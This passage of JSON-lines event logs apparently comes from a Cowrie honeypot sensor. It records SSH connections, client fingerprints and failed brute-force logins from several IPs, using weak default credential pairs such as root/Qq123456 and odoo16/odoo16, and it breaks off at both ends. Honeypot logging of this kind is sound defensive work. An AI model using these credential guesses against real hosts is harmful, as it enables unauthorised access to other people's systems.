256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:44:07.481660Z","src_ip":"45.156.87.147","session":"83e1b8bdcafe","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"minecraft","password":"minecraft","message":"login attempt [minecraft/minecraft] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:44:07.741364Z","src_ip":"45.156.87.147","session":"83e1b8bdcafe","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:44:08.107421Z","src_ip":"91.92.42.227","session":"a63ffc352fb1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:44:08.110241Z","src_ip":"91.92.42.227","session":"a63ffc352fb1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"17.1","message":"Connection lost after 17.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:44:08.180497Z","src_ip":"91.92.42.227","session":"9a21c64acdf1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:44:08.829556Z","src_ip":"45.156.87.147","session":"83e1b8bdcafe","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root1","password":"root1","message":"login attempt [root1/root1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:44:11.859550Z","src_ip":"91.92.42.227","session":"13519f86342c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":43424,"dst_ip":"10.17.0.5","dst_port":22,"session":"6d4aeee8ae43","protocol":"ssh","message":"New connection: 91.92.42.227:43424 (10.17.0.5:22) [session: 6d4aeee8ae43]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:44:12.284507Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":55224,"dst_ip":"10.17.0.5","dst_port":22,"session":"8f943fa22608","protocol":"ssh","message":"New connection: 45.156.87.147:55224 (10.17.0.5:22) [session: 8f943fa22608]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:44:12.610327Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:44:12.614419Z","src_ip":"45.156.87.147","session":"8f943fa22608","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:44:12.699633Z","src_ip":"45.156.87.147","session":"8f943fa22608","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1qaz@WSX3edc","message":"login attempt [root/1qaz@WSX3edc] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:44:12.953021Z","src_ip":"45.156.87.147","session":"8f943fa22608","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:44:14.039132Z","src_ip":"45.156.87.147","session":"8f943fa22608","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:44:14.655783Z","src_ip":"91.92.42.227","session":"6d4aeee8ae43","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:44:14.677438Z","src_ip":"91.92.42.227","session":"6d4aeee8ae43","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":58.182172536849976,"message":"Connection lost after 58 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:44:14.852955Z","src_ip":"128.199.8.54","session":"c3df5b601ee3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"16.7","message":"Connection lost after 16.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:44:15.330427Z","src_ip":"91.92.42.227","session":"13519f86342c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":55240,"dst_ip":"10.17.0.5","dst_port":22,"session":"899a273e7656","protocol":"ssh","message":"New connection: 45.156.87.147:55240 (10.17.0.5:22) [session: 899a273e7656]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:44:18.268368Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:44:18.272715Z","src_ip":"45.156.87.147","session":"899a273e7656","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:44:18.356232Z","src_ip":"45.156.87.147","session":"899a273e7656","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Qq123456","message":"login attempt [root/Qq123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:44:18.731047Z","src_ip":"45.156.87.147","session":"899a273e7656","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":33388,"dst_ip":"10.17.0.5","dst_port":22,"session":"77ef4489ee3a","protocol":"ssh","message":"New connection: 91.92.42.227:33388 (10.17.0.5:22) [session: 77ef4489ee3a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:44:18.908203Z"}
{"eventid":"cowrie.login.failed","username":"ansible","password":"ansible","message":"login attempt [ansible/ansible] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:44:19.207944Z","src_ip":"91.92.42.227","session":"a63ffc352fb1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:44:19.815159Z","src_ip":"45.156.87.147","session":"899a273e7656","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:44:21.651390Z","src_ip":"91.92.42.227","session":"77ef4489ee3a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:44:21.654325Z","src_ip":"91.92.42.227","session":"77ef4489ee3a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"18.4","message":"Connection lost after 18.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:44:23.045394Z","src_ip":"91.92.42.227","session":"a63ffc352fb1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":37824,"dst_ip":"10.17.0.5","dst_port":22,"session":"d4be2b27dfd3","protocol":"ssh","message":"New connection: 45.156.87.147:37824 (10.17.0.5:22) [session: d4be2b27dfd3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:44:24.154331Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:44:24.157382Z","src_ip":"45.156.87.147","session":"d4be2b27dfd3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:44:24.244085Z","src_ip":"45.156.87.147","session":"d4be2b27dfd3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"odoo16","password":"odoo16","message":"login attempt [odoo16/odoo16] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:44:24.491336Z","src_ip":"45.156.87.147","session":"d4be2b27dfd3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":57960,"dst_ip":"10.17.0.5","dst_port":22,"session":"9767bec4dd0c","protocol":"ssh","message":"New connection: 91.92.42.227:57960 (10.17.0.5:22) [session: 9767bec4dd0c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:44:24.960133Z"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:44:25.594718Z","src_ip":"45.156.87.147","session":"d4be2b27dfd3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"195.26.87.217","src_port":60894,"dst_ip":"10.17.0.5","dst_port":22,"session":"9e8ee41371e4","protocol":"ssh","message":"New connection: 195.26.87.217:60894 (10.17.0.5:22) [session: 9e8ee41371e4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:44:25.666881Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:44:25.670464Z","src_ip":"195.26.87.217","session":"9e8ee41371e4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:44:25.754106Z","src_ip":"195.26.87.217","session":"9e8ee41371e4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"8.219.200.1","src_port":60274,"dst_ip":"10.17.0.5","dst_port":22,"session":"6c60942b5f00","protocol":"ssh","message":"New connection: 8.219.200.1:60274 (10.17.0.5:22) [session: 6c60942b5f00]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:44:25.812969Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:44:25.816771Z","src_ip":"8.219.200.1","session":"6c60942b5f00","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"e7:4c:dd:a3:1d:71:06:ae:cc:82:00:d2:40:b4:96:e0","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDFP4yE+5oMqOHobIX3+yh2fn3LI8xASh63e1O0lRpTYuJPYrJDVSo9GLi0GqKuL/x6glAl3sJvPxYXBFGYYIbpq8grlG7VZB5BaBoc1OBHMZpC1S0VVoFrMb904XrWmEtAN5BkC2Adau3kuYi+AW8rCmf9ObD9V2lcy4ax9J81M1PEGqrjz3S6PbNr3gi/eKBCAsEPtyJj107sseyFOPQNLqxRKv8+tLVDljutzs8mZHnvDzBSMGHisgZxl+/T3pK6R5725tWoL3pNDYGLybuSD6drrByvJoS/1Sc/wJZrraS3hL/u9YCDJyfxIZbOn7G6lg8k1O9zH/s442nSWldl/bgePY9DAuqJwNDCN/M7vs0fXYW2QIEfem216eajq2j31UIQhN2A/hFfyjvHIea/h0Bp6eMCq5RJ8RE0DDiiBUcCwz6Gz1/Jbsg+yVMwnvFmwkD48zpxGW62En5eYS0qMeZ1HhsCTt5T08GRk+bJXCxXamlmS0Fr3FaYv5WApqe5EgkUBjkE4vghBIp3MoOkdJcM908JAJBPkNX4mwQedcmD/53xgC1o5QjcbzoYdH12orWw2ZoIS6H87jthpxrTv8bxwTLyewUu7LvBntjs/UXZc5Etl5NWHo7yhE7pR/cYJaVybgbz6rCv6PuhTyA0xJwWOqRutlihexBKFqlKKQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint e7:4c:dd:a3:1d:71:06:ae:cc:82:00:d2:40:b4:96:e0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:44:26.142170Z","src_ip":"195.26.87.217","session":"9e8ee41371e4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"e7:4c:dd:a3:1d:71:06:ae:cc:82:00:d2:40:b4:96:e0","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDFP4yE+5oMqOHobIX3+yh2fn3LI8xASh63e1O0lRpTYuJPYrJDVSo9GLi0GqKuL/x6glAl3sJvPxYXBFGYYIbpq8grlG7VZB5BaBoc1OBHMZpC1S0VVoFrMb904XrWmEtAN5BkC2Adau3kuYi+AW8rCmf9ObD9V2lcy4ax9J81M1PEGqrjz3S6PbNr3gi/eKBCAsEPtyJj107sseyFOPQNLqxRKv8+tLVDljutzs8mZHnvDzBSMGHisgZxl+/T3pK6R5725tWoL3pNDYGLybuSD6drrByvJoS/1Sc/wJZrraS3hL/u9YCDJyfxIZbOn7G6lg8k1O9zH/s442nSWldl/bgePY9DAuqJwNDCN/M7vs0fXYW2QIEfem216eajq2j31UIQhN2A/hFfyjvHIea/h0Bp6eMCq5RJ8RE0DDiiBUcCwz6Gz1/Jbsg+yVMwnvFmwkD48zpxGW62En5eYS0qMeZ1HhsCTt5T08GRk+bJXCxXamlmS0Fr3FaYv5WApqe5EgkUBjkE4vghBIp3MoOkdJcM908JAJBPkNX4mwQedcmD/53xgC1o5QjcbzoYdH12orWw2ZoIS6H87jthpxrTv8bxwTLyewUu7LvBntjs/UXZc5Etl5NWHo7yhE7pR/cYJaVybgbz6rCv6PuhTyA0xJwWOqRutlihexBKFqlKKQ==","type":"ssh-rsa","message":"public key login attempt for [root] 